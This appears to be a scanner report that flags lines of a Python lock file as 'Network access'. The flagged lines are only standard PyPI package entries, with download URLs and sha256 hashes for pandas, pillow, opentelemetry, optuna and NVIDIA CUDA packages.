    wheels = [     { url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197
  • Network accessline 973
    { url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197f38e5d0376ad52c
  • Network accessline 974
    { url = "https://files.pythonhosted.org/packages/3c/35/a9bf80a609e74e3b000fef598933235c908fcefcef9026042b8e6dfde2a9/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:290f0a2ee94c9f3687a02502f
  • Network accessline 978
    name = "nvidia-nvtx" version = "13.0.85" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 979
    version = "13.0.85" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 980
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 981
    wheels = [     { url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db45
  • Network accessline 982
    { url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db454f5e72a42ff64d1
  • Network accessline 983
    { url = "https://files.pythonhosted.org/packages/a8/64/3708a90d1ebe202ffdeb7185f878a3c84d15c2b2c31858da2ce0583e2def/nvidia_nvtx-13.0.85-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cb7780edb6b14107373c835bf8b72
  • Network accessline 987
    name = "opentelemetry-api" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 988
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 989
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 991
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537
  • Network accessline 992
    ] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a"
  • Network accessline 993
    sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a", 
  • Network accessline 994
    wheels = [     { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be69181967053
  • Network accessline 995
    { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be6918196705354f34728b2cdef"
  • Network accessline 999
    name = "opentelemetry-exporter-otlp" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1000
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1001
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1004
    { name = "opentelemetry-exporter-otlp-proto-http" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af
  • Network accessline 1005
    ] sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af1cde7c33ea8ed624bf04ac49a885730fe44c1f1ad698656e592c3
  • Network accessline 1006
    sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af1cde7c33ea8ed624bf04ac49a885730fe44c1f1ad698656e592c38f
  • Network accessline 1007
    wheels = [     { url = "https://files.pythonhosted.org/packages/18/c3/7b466a9463944e70b37b744072a0c1b88a425dade3fff0631adec66c9bcc/opentelemetry_exporter_otlp-1.44.0-py3-none-any.whl", hash = "sha256:4a498fa8d8fd8be9e8e2d175fe5524a3fe581ccf
  • Network accessline 1008
    { url = "https://files.pythonhosted.org/packages/18/c3/7b466a9463944e70b37b744072a0c1b88a425dade3fff0631adec66c9bcc/opentelemetry_exporter_otlp-1.44.0-py3-none-any.whl", hash = "sha256:4a498fa8d8fd8be9e8e2d175fe5524a3fe581ccffadd8509db86526
  • Network accessline 1012
    name = "opentelemetry-exporter-otlp-proto-common" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1013
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1014
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1016
    { name = "opentelemetry-proto" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5
  • Network accessline 1017
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5bc58f149a56d1547e4691588fa12994cdc
  • Network accessline 1018
    sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5bc58f149a56d1547e4691588fa12994cdc3b
  • Network accessline 1019
    wheels = [     { url = "https://files.pythonhosted.org/packages/5e/71/65fd9d54c10b860f87c045ccee1264cab7011268895d3528818a29c1172a/opentelemetry_exporter_otlp_proto_common-1.44.0-py3-none-any.whl", hash = "sha256:9a9fe61bba73d802904bc989f1d
  • Network accessline 1020
    { url = "https://files.pythonhosted.org/packages/5e/71/65fd9d54c10b860f87c045ccee1264cab7011268895d3528818a29c1172a/opentelemetry_exporter_otlp_proto_common-1.44.0-py3-none-any.whl", hash = "sha256:9a9fe61bba73d802904bc989f1d6b4a7b1ee40f06c
  • Network accessline 1024
    name = "opentelemetry-exporter-otlp-proto-grpc" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1025
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1026
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1034
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fc
  • Network accessline 1035
    ] sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fcc36de3cbac610cc99f35894938bff9cf
  • Network accessline 1036
    sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fcc36de3cbac610cc99f35894938bff9cfd9
  • Network accessline 1037
    wheels = [     { url = "https://files.pythonhosted.org/packages/54/29/6ae42ba32b153ae0a44ae125f0caff2188bbe62d99c82d1768da30864e72/opentelemetry_exporter_otlp_proto_grpc-1.44.0-py3-none-any.whl", hash = "sha256:6a1a645ea182a2f59440c51fa8301
  • Network accessline 1038
    { url = "https://files.pythonhosted.org/packages/54/29/6ae42ba32b153ae0a44ae125f0caff2188bbe62d99c82d1768da30864e72/opentelemetry_exporter_otlp_proto_grpc-1.44.0-py3-none-any.whl", hash = "sha256:6a1a645ea182a2f59440c51fa8301d309f3324a8f9d6
  • Network accessline 1042
    name = "opentelemetry-exporter-otlp-proto-http" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1043
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1044
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1052
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6
  • Network accessline 1053
    ] sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6b57cd4cfbe8b0007a9e2e7c0cb50bd6c
  • Network accessline 1054
    sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6b57cd4cfbe8b0007a9e2e7c0cb50bd6c50
  • Network accessline 1055
    wheels = [     { url = "https://files.pythonhosted.org/packages/cd/d0/fdeb1a98d8d3a6205f5f297c51b4a9bfe65126ab60339669bbe3dd54c2e2/opentelemetry_exporter_otlp_proto_http-1.44.0-py3-none-any.whl", hash = "sha256:838592fce774c1c8bb7b9a0a7facb
  • Network accessline 1056
    { url = "https://files.pythonhosted.org/packages/cd/d0/fdeb1a98d8d3a6205f5f297c51b4a9bfe65126ab60339669bbe3dd54c2e2/opentelemetry_exporter_otlp_proto_http-1.44.0-py3-none-any.whl", hash = "sha256:838592fce774c1c8bb7b9a0a7facbfa82e17be5a8a4e
  • Network accessline 1060
    name = "opentelemetry-proto" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1061
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1062
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1064
    { name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5
  • Network accessline 1065
    ] sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5ca67b70e1f9266e2c3e103f
  • Network accessline 1066
    sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5ca67b70e1f9266e2c3e103f3"
  • Network accessline 1067
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/7c/8be563d68e93bbefa5c8affb82ddcff91b3ad858ce49957ba7b16fd3e0ab/opentelemetry_proto-1.44.0-py3-none-any.whl", hash = "sha256:898b155a0e1557afd867478fb6158e8122a46329ca0bb8dc
  • Network accessline 1068
    { url = "https://files.pythonhosted.org/packages/d1/7c/8be563d68e93bbefa5c8affb82ddcff91b3ad858ce49957ba7b16fd3e0ab/opentelemetry_proto-1.44.0-py3-none-any.whl", hash = "sha256:898b155a0e1557afd867478fb6158e8122a46329ca0bb8dc53cc55e98f017f5
  • Network accessline 1072
    name = "opentelemetry-sdk" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1073
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1074
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1078
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a
  • Network accessline 1079
    ] sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a9052e5060c0272d402cfa203aae123b"
  • Network accessline 1080
    sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a9052e5060c0272d402cfa203aae123b", 
  • Network accessline 1081
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/23/ff077e61886ee020a17ce9c8b6fa11c601c8d8345b09ea24f605445df62a/opentelemetry_sdk-1.44.0-py3-none-any.whl", hash = "sha256:df081c4c6bcfdb1211e3e86140376792643128a25f8d72d1d2
  • Network accessline 1082
    { url = "https://files.pythonhosted.org/packages/e7/23/ff077e61886ee020a17ce9c8b6fa11c601c8d8345b09ea24f605445df62a/opentelemetry_sdk-1.44.0-py3-none-any.whl", hash = "sha256:df081c4c6bcfdb1211e3e86140376792643128a25f8d72d1d27675936e7e96ad"
  • Network accessline 1086
    name = "opentelemetry-semantic-conventions" version = "0.65b0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1087
    version = "0.65b0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1088
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1091
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f1
  • Network accessline 1092
    ] sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f11bc952075e7e9c7fb0aab075c7fd1c46
  • Network accessline 1093
    sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f11bc952075e7e9c7fb0aab075c7fd1c46d5
  • Network accessline 1094
    wheels = [     { url = "https://files.pythonhosted.org/packages/a6/0e/49df70d9b81fb5cbae4bbf2a49d865b09bcbcbc4eb53f5851b1027738d78/opentelemetry_semantic_conventions-0.65b0-py3-none-any.whl", hash = "sha256:1cacde7b0ad306f84c5ef08c3dbe1bbaf
  • Network accessline 1095
    { url = "https://files.pythonhosted.org/packages/a6/0e/49df70d9b81fb5cbae4bbf2a49d865b09bcbcbc4eb53f5851b1027738d78/opentelemetry_semantic_conventions-0.65b0-py3-none-any.whl", hash = "sha256:1cacde7b0ad306f84c5ef08c3dbe1bbaf20165bba6f8bff4
  • Network accessline 1099
    name = "optuna" version = "4.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1100
    version = "4.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1101
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1109
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0
  • Network accessline 1110
    ] sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0a82b87", size = 485
  • Network accessline 1111
    sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0a82b87", size = 48583
  • Network accessline 1112
    wheels = [     { url = "https://files.pythonhosted.org/packages/ab/f3/e5fcd5d9b15771ed6dc10e3a7eeddc672e418f4f4c4653d216cc1d857e2d/optuna-4.9.0-py3-none-any.whl", hash = "sha256:f52f3be6148654850c92a5860d398fd88ec6b2c84ab68d9c3d07dcff02e7af
  • Network accessline 1113
    { url = "https://files.pythonhosted.org/packages/ab/f3/e5fcd5d9b15771ed6dc10e3a7eeddc672e418f4f4c4653d216cc1d857e2d/optuna-4.9.0-py3-none-any.whl", hash = "sha256:f52f3be6148654850c92a5860d398fd88ec6b2c84ab68d9c3d07dcff02e7afee", size = 425
  • Network accessline 1117
    name = "packaging" version = "26.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1118
    version = "26.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc2564
  • Network accessline 1119
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1120
    sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313
  • Network accessline 1121
    wheels = [     { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23
  • Network accessline 1122
    { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 1
  • Network accessline 1126
    name = "pandas" version = "3.0.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1127
    version = "3.0.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1128
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1132
    { name = "tzdata", marker = "sys_platform == 'emscripten' or sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", has
  • Network accessline 1133
    ] sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", hash = "sha256:dca3734d6ab7c906e6730f0788b0a1dbb9f2467731f9711f77995c8e9d62d712", size = 465
  • Network accessline 1134
    sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", hash = "sha256:dca3734d6ab7c906e6730f0788b0a1dbb9f2467731f9711f77995c8e9d62d712", size = 46582
  • Network accessline 1135
    wheels = [     { url = "https://files.pythonhosted.org/packages/bf/09/7b95c4a0025227d6f118c4039b423412ac6a982db02864166185d812fbc7/pandas-3.0.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c1c05a767fe8e5b4fe9e1c29806829c582052eaedb9
  • Network accessline 1136
    { url = "https://files.pythonhosted.org/packages/bf/09/7b95c4a0025227d6f118c4039b423412ac6a982db02864166185d812fbc7/pandas-3.0.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c1c05a767fe8e5b4fe9e1c29806829c582052eaedb9120a3da83ba3f69
  • Network accessline 1137
    { url = "https://files.pythonhosted.org/packages/8d/0c/dc78fd8c4da477b4b5e8ad37295af352190d21ef63a9ee1bc071753074cc/pandas-3.0.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b86765f268b56f7e665b93bce9d5df69dee7f99e595cf8fb839483ab3159
  • Network accessline 1138
    { url = "https://files.pythonhosted.org/packages/3e/71/3592c055cf44df9808550f9368ceda80ff2b224d355ef73fe251dcda1802/pandas-3.0.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c597ecf5616b5c420372c1d4d4c00dbb
  • Network accessline 1139
    { url = "https://files.pythonhosted.org/packages/e3/70/4363150359f95b4cb4bcbb34ca23572bb5495749a621a8f3d5a1ddfd293c/pandas-3.0.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b11c36e218331d0387cbe3a0a5f751623
  • Network accessline 1140
    { url = "https://files.pythonhosted.org/packages/f7/d0/317e7a0c67c0e69fa905a0161409397a7dc2d46ff611f6ca4803352c042b/pandas-3.0.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cf52e1f61d229496da17dc7ab54acdee627357e7008fd4fecba3d0ba
  • Network accessline 1141
    { url = "https://files.pythonhosted.org/packages/f1/8d/36dade89b49e4f9d5cbdbe863772581f98c0c6d78fc39ad4c557f6f2e17e/pandas-3.0.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:db172144bb56422bd157812f3b021eacc255451470b31e2c633c34949
  • Network accessline 1142
    { url = "https://files.pythonhosted.org/packages/9c/ba/18c4ec8a746e177da05a9e7a7963781d8ea195780724f854601b6ebd6b78/pandas-3.0.5-cp313-cp313-win_amd64.whl", hash = "sha256:0d298e951f23016ce4699951d044ae6418dbc91bf68cefca0f77666fcbb4e5c6", s
  • Network accessline 1143
    { url = "https://files.pythonhosted.org/packages/de/ec/28a57266b753799a87b8bc79e7887ac6fd981b8c6d2978a0b7e7b6bd708c/pandas-3.0.5-cp313-cp313-win_arm64.whl", hash = "sha256:66266d3442a5e8b3c90274c2b8b230bee42dd1c286bc822cc2f9f2c7e12b883e", s
  • Network accessline 1147
    name = "pillow" version = "12.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1148
    version = "12.3.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a7
  • Network accessline 1149
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1150
    sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 4702
  • Network accessline 1151
    wheels = [     { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833
  • Network accessline 1152
    { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc559
  • Network accessline 1153
    { url = "https://files.pythonhosted.org/packages/87/b4/9805e23d2b4d77842b468513841fda254ee42f0289d25088340e4ff46e2d/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d9322
  • Network accessline 1154
    { url = "https://files.pythonhosted.org/packages/df/39/ecf519435a200c693fe053a6ee4d835b41cf963a4dfc2551c4e637cb2a71/pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95
  • Network accessline 1155
    { url = "https://files.pythonhosted.org/packages/42/92/2fc3ffad878ae8dd5469ec1bc8eb83b71f48e13efdf68f02709003982a32/pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7
  • Network accessline 1156
    { url = "https://files.pythonhosted.org/packages/10/76/8803c13605b763d33d156c4678fc77f8443389c0c51c8aef707bb02015f4/pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f408911
  • Network accessline 1157
    { url = "https://files.pythonhosted.org/packages/1f/01/e18aff37cb0b4aac47ac90f016d347a49aca667ef97f190b06ac2aabc928/pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d4749
  • Network accessline 1158
    { url = "https://files.pythonhosted.org/packages/f7/62/de5bdd77d935331f4f802edc11e4d82950f642caad6cb2f949837b8560e2/pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e063
  • Network accessline 1159
    { url = "https://files.pythonhosted.org/packages/70/4d/105627a13300c5e0df1d174230b32fd1273062c96f7745fd552b945d1e1d/pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566
  • Network accessline 1160
    { url = "https://files.pythonhosted.org/packages/6b/1d/f13de01a553988ab895ba1c722e06cf3144d4f57656fd5b81b6d881f1179/pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f
  • Network accessline 1161
    { url = "https://files.pythonhosted.org/packages/c9/f9/066794cca041b969964f779ee5fa66a9498bbf34248ac39c5d7954e4198f/pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f", size
  • Network accessline 1162
    { url = "https://files.pythonhosted.org/packages/a6/9b/7a58e61d62be561da3a356fe2384d4059a6345fc130e23ef1c36a5b81d24/pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8", 
  • Network accessline 1163
    { url = "https://files.pythonhosted.org/packages/aa/b0/c4ed4f0ef8f8fa5ee8351537db6650bb8189f7e118842978dd6589065692/pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b", 
  • Network accessline 1167
    name = "primepy" version = "1.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1168
    version = "1.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/35/77/0cfa1b4697cfb5336f3a96e8bc73327f64610be3a64c97275f1801afb395/primePy-1.3.tar.gz", hash = "sha256:25fd7e25344b0
  • Network accessline 1169
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1170
    sdist = { url = "https://files.pythonhosted.org/packages/35/77/0cfa1b4697cfb5336f3a96e8bc73327f64610be3a64c97275f1801afb395/primePy-1.3.tar.gz", hash = "sha256:25fd7e25344b0789a5984c75d89f054fcf1f180bef20c998e4befbac92de4669", size = 3914, 
  • Network accessline 1171
    wheels = [     { url = "https://files.pythonhosted.org/packages/74/c1/bb7e334135859c3a92ec399bc89293ea73f28e815e35b43929c8db6af030/primePy-1.3-py3-none-any.whl", hash = "sha256:5ed443718765be9bf7e2ff4c56cdff71b42140a15b39d054f9d99f0009e2317
  • Network accessline 1172
